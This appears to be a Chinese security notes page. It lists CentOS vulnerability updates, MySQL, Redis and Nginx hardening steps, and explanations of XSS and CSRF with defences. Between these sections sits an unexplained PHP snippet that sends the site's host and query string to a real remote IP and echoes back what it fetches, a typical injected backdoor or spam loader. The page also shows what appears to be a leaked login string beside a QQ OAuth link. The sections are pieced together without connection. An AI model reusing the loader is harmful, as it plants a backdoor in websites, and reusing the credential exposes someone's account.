网络安全
https://passport.csdn.net/v1/register/authorization?authType=qq https://graph.qq.com/oauth2.0/show?which=Login&display=pc&client_id=100270989&response_type=code&redirect_uri=https%3A%2F%2Fpassport.csdn.net%2Faccount%2Flogin%3FpcAuthType%3Dqq%26state%3Dtest szbaoyejituan : szbaoyejituan)@@)
CVE 的英文全称是“Common Vulnerabilities & Exposures”公共漏洞和暴露。
centOS: 漏洞修复_RHSA_2019_0230_高危__polkit_安全更新 yum update polkit 漏洞修复_RHSA_2019_0679_高危__libssh2_安全更新 yum update libssh2 漏洞修复_RHSA_2019_0633_高危__ghostscript_安全和BUG修复更新 yum update ghostscript yum update wget 漏洞修复_RHSA_2019_3286_关键__php_安全更新 yum update php-mbstring yum update php-intl yum update php-xml yum update php-process yum update php-pdo yum update php-gd yum update php-common yum update php-cli 漏洞修复_RHSA_2019_0368_高危__systemd_安全更新 yum update systemd-libs yum update systemd yum update systemd-sysv 漏洞修复_RHSA_2019_1880_低危__curl_安全和BUG修复更新 yum update libcurl-devel yum update libcurl yum update curl 漏洞编号 影响分 漏洞公告 CVE-2019-3855 8.8 传输读取中的整数溢出导致越界写入 CVE-2019-3856 8.8 键盘交互式处理中的整数溢出导致越界写入 CVE-2019-3857 8.8 SSH数据包处理通道中的整数溢出导致越界写入 CVE-2019-3863 8.8 用户验证键盘交互中的整数溢出允许越界写入 CVE-2019-3835 5.5 Superexec操作符可用 CVE-2019-3838 5.5 Ghostscript 安全限制绕过安全漏洞 CVE-2019-3862 9.1 超出范围内存与特制消息通道请求的比较 设置SSH空闲超时退出时间,可降低未授权用户访问其他用户ssh会话的风险 MYSQL: 编辑Mysql配置文件/etc/my.cnf,在mysqld_safe 段落中配置log-error参数,<log_path>代表存放日志文件路径,如:/var/log/mysqld.log,并重启mysql服务: 编辑/etc/my.cnf文件,mysqld 段落中配置新的端口参数,并重启mysql服务: 禁用符号链接以防止各种安全风险: 编辑Mysql配置文件/etc/my.cnf,在mysqld 段落中配置symbolic-links=0,5.6及以上版本应该配置为skip_symbolic_links=yes,并重启mysql服务。 禁用local_infile选项会降低攻击者通过SQL注入漏洞器读取敏感文件的能力: 编辑Mysql配置文件/etc/my.cnf,在mysqld 段落中配置local-infile参数为0,并重启mysql服务: REDIS: 使用root权限去运行网络服务是比较有风险的(nginx和apache都是有独立的work用户,而redis没有)。redis crackit 漏洞就是利用root用户的权限来替换或者增加authorized_keys,来获取root登录权限的: 使用root切换到redis用户启动服务: useradd -s /sbin/nolog -M redis sudo -u redis /<redis-server-path>/redis-server /<configpath>/redis.conf Redis中线上使用keys *命令,也是非常危险的。因此线上的Redis必须考虑禁用一些危险的命令,或者尽量避免谁都可以使用这些命令,Redis没有完整的管理系统,但是也提供了一些方案。: 修改 redis.conf 文件,添加 rename-command FLUSHALL "" rename-command FLUSHDB "" rename-command CONFIG "" rename-command KEYS "" rename-command SHUTDOWN "" rename-command DEL "" rename-command EVAL "" 然后重启redis。 重命名为"" 代表禁用命令,如想保留命令,可以重命名为不可猜测的字符串,如: rename-command FLUSHALL joYAPNXRPmcarcR4ZDgC 因为redis密码明文存储在配置文件中,禁止不相关的用户访问改配置文件是必要的,设置redis配置文件权限为600, 执行以下命令修改配置文件权限: chmod 600 /<filepath>/redis.conf 避免使用熟知的端口,降低被初级扫描的风险 编辑文件redis的配置文件redis.conf,找到包含port的行,将默认的6379修改为自定义的端口号,然后重启redis NGINX: 隐藏Nginx后端服务X-Powered-By头: 隐藏Nginx后端服务指定Header的状态: 1、打开conf/nginx.conf配置文件; 2、在http下配置proxy_hide_header项; 增加或修改为 proxy_hide_header X-Powered-By; proxy_hide_header Server; Nginx后端服务指定的Header隐藏状态: 开启Nginx的WEB访问日志记录: 1、打开conf/nginx.conf配置文件; 2、在http下配置access_log项 access_log logs/host.access.log main; 3、 并删除off项 Nginx SSL协议的加密策略进行加固: Nginx SSL协议采用TLSv1.2: 1、打开conf/nginx.cconf配置文件; 2、配置 server { ... ssl_protocols TLSv1.2; ... } 备注:配置此项请确认nginx支持OpenSSL,运行nginxv -V 如果返回中包含built with OpenSSL则表示支持OpenSSL。如果不支持,请重新编译nginx Nginx进程启动账号状态,降低被攻击概率
set_time_limit(0); header("Content-Type: text/html;charset=gb2312"); date_default_timezone_set('PRC'); $Remote_server = "http://123.103.247.18/lz/16.php"; $host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $Content_mb=file_get_contents($Remote_server."?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']); echo $Content_mb;
XSS(Cross-Site-Scripting跨站脚本攻击)
XSS其实就是Html的注入问题,在被攻击者在浏览器中执行脚本 a. 盗用 cookie ,获取敏感信息。 b.利用植入 Flash ,通过 crossdomain 权限设置进一步获取更高权限;或者利用Java等得到类似的操作。 c.利用 iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。 d.利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。 e.在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。 漏洞的防御和利用: 避免XSS的方法之一主要是将用户所提供的内容进行过滤,许多语言都有提供对HTML的过滤: PHP的htmlentities()或是htmlspecialchars()。 Python的cgi.escape()。 ASP的Server.HTMLEncode()。 ASP.NET的Server.HtmlEncode()或功能更强的Microsoft Anti-Cross Site Scripting Library Java的xssprotect(Open Source Library)。 Node.js的node-validator。 使用HTTP头指定类型: 很多时候可以使用HTTP头指定内容的类型,使得输出的内容避免被作为HTML解析。如在PHP语言中使用以下代码: header('Content-Type: text/javascript; charset=utf-8'); 即可强行指定输出内容为JavaScript脚本(顺便指定了内容编码),而非可以引发攻击的HTML。
CSRF(Cross-Site-Request-Forgeries跨站伪造请求)
绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的), 再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。 要完成一次CSRF攻击,受害者必须依次完成两个步骤: 1.登录受信任网站A,并在本地生成Cookie。 2.在网站A的Cookie不过期的情况下,访问危险网站B, 网站B用网站A的Cookie访问受信任的网站A,进行非法操作。 关闭浏览器了后,本地的Cookie不会立刻过期,事实上,关闭浏览器不能结束一个会话,但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了 请求令牌(一种简单有效的防御方法): 1.首先服务器端要以某种策略生成随机字符串,作为令牌(token),保存在 Session 里。 2.然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。 3.在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求, 4.处理完成后清理session中的值,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份